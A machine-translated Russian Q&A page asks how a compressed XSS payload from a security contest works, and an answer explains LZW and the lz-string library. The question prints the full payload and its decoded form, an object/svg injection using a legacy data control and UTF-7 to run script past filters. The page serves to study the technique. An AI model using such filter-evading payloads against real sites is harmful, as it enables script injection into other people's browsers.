2014-04-16 3 views
3

Я проверял результаты конкурса безопасности с участием XSS (link) и нашел несколько замечательных и страшных платных купонов JS XSS. Победитель (@kinugawamasato) использовал яваскрипта технику сжатия, которая кажется совершенно другое мирское мне:Как эта техника сжатия javascript работает?

Сжатый полезная нагрузка:

https://cure53.de/xmas2013/?xss=<scriPt>document.write(unescape(escape(location) 
.replace(/u(..)/g,'$1%')))<\/scriPt>㱯扪散琠楤㵥⁣污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭 
䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾㱳癧湬潡搽攮摡瑡畲氽慬汛攮 
牯睤敬業㴳㍝⬧㽳慮瑡㵀Ⅱ汬潷彤潭慩湳㴧⭤潭慩渻攮捨慲獥琽❵瑦ⴷ✾ 

Что на самом деле произошло:

<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=33]+'[email protected]!allow_domains='+domain;e.charset='utf-7'> 

Является ли эта техника уже где-то документально так что я могу это изучить? Как все это работает? Есть ли уже компрессор javascript, который делает это автоматическим способом? Как WAF реагирует на такую ​​полезную нагрузку?

Вы можете увидеть больше примеров here.

ответ

3

Я использую библиотеку для сжатия JS при размещении любых данных в localStorage. Я просто пользователь этой библиотеки, а не эксперт по сжатию. Но это информация, которую можно найти вокруг этого инструмента ...

lz-string Цель:

LZ-нить была разработана, чтобы удовлетворить потребность в хранении больших объемов данных в localStorage, в частности, на мобильных устройствах , localStorage обычно ограничен 5 МБ, все, что вы можете сжать, - это гораздо больше данных, которые вы можете сохранить.

... I (примечание: "I" означает, Pieroxy, автор LZ-строки) начал с реализации LZW (не более патентов на этом), что очень просто ...

Итак, фундамент, основание этой реализации - LZW, который упоминается здесь Javascript client-data compression от Andy E. Позвольте мне указать

Выписка из Wikipedia - Algorithm:

Сценарий описывается Велч 1984 года, кодирует последовательности 8-битовых данных в виде фиксированной длины 12-битовых кодов. Коды от 0 до 255 представляют собой 1-символьные последовательности, состоящие из соответствующего 8-битного символа, а коды с 256 по 4095 создаются в словаре для последовательностей, встречающихся в данных по мере их кодирования. На каждом этапе сжатия входные байты собираются в последовательность до тех пор, пока следующий символ не сделает последовательность, для которой еще нет кода в словаре. Код для последовательности (без этого символа) добавляется к выходу, а новый код (для последовательности с этим символом) добавляется в словарь.

Wikipedia - Encoding:

высокоуровневое представление алгоритма кодирования показано здесь:

  1. Инициализировать словарь, чтобы содержать все строки длины один.
  2. Найдите самую длинную строку W в словаре, соответствующую текущему входу.
  3. Извлеките индекс словаря для вывода W и удалите W с входа.
  4. Add W, за которым следует следующий символ во входном словаре.
  5. Перейти к шагу 2.

Как это работает в случае LZ-строки мы можем наблюдатель здесь:

Позволь мне привести несколько шагов из уже упомянутых lz-string source:

Что я сделал:

  • LocalStorage может содержать только строки JavaScript. Строки в JavaScript хранятся внутри UTF-16, что означает, что каждый символ весит 16 бит. Я модифицировал реализацию для работы с токеном в 16 бит.
  • Мне пришлось удалить инициализацию словаря по умолчанию, совершенно бесполезную на маркерном пространстве шириной 16 бит.
  • Я инициализировать словарь с тремя маркерами:
    • запись, которая производит 16-битный маркер.
    • Запись, которая создает 8-разрядный токен, потому что большая часть того, что я буду хранить, находится в пространстве iso-latin-1, что означает токены ниже 256.
    • Запись, которая отмечает конец потока.
  • Выход обработан бит-потоком, который эффективно сохраняет 16 бит на символ в выходной строке.
  • Каждый токен хранится с таким количеством бит, которое необходимо в соответствии с размером словаря. Таким образом, первый маркер занимает 2 бит, второго 7-три бита, и т.д ....

Ну, теперь мы знаем, что эти методы сжатия мы получаем 16 бит информации.Мы можем проверить его в этом примере: http://pieroxy.net/blog/pages/lz-string/demo.html(или/и другой here)

который преобразует: Hello, world. в

85 04 36 30 f6 60 40 03 0e 04 01 e9 80 39 03 26 
00 a2 

Таким образом, нам нужен последний шаг, позвольте мне процитировать еще раз:

Ну, это lib производит вещи, которые на самом деле не являются строкой. Используя все 16 бит битового пространства UTF-16, эти строки не являются точными действительными UTF-16. По версии 1.3.0, я добавил два вспомогательных кодеры производить вещи, которые мы можем сделать что-то с:

  • compress производит недопустимые UTF-16 строк. Они могут храниться в localStorage только на веб-браузерах (протестированы на Android, Chrome, Safari). Может быть распакованы с decompress

продолжить наш пример, то Hello, world. будет преобразован в

҅〶惶̀Ў㦀☃ꈀ 

И вот, наконец, он. Мы видим, что набор всех ... других латинских символов ... происходит от окончательного преобразования в UTF-16. Надеюсь, это даст некоторые советы ...

+0

спасибо тонну! не знал о lz-строке. – marcio

+1

Отлично, если это помогло! :) –

Смежные вопросы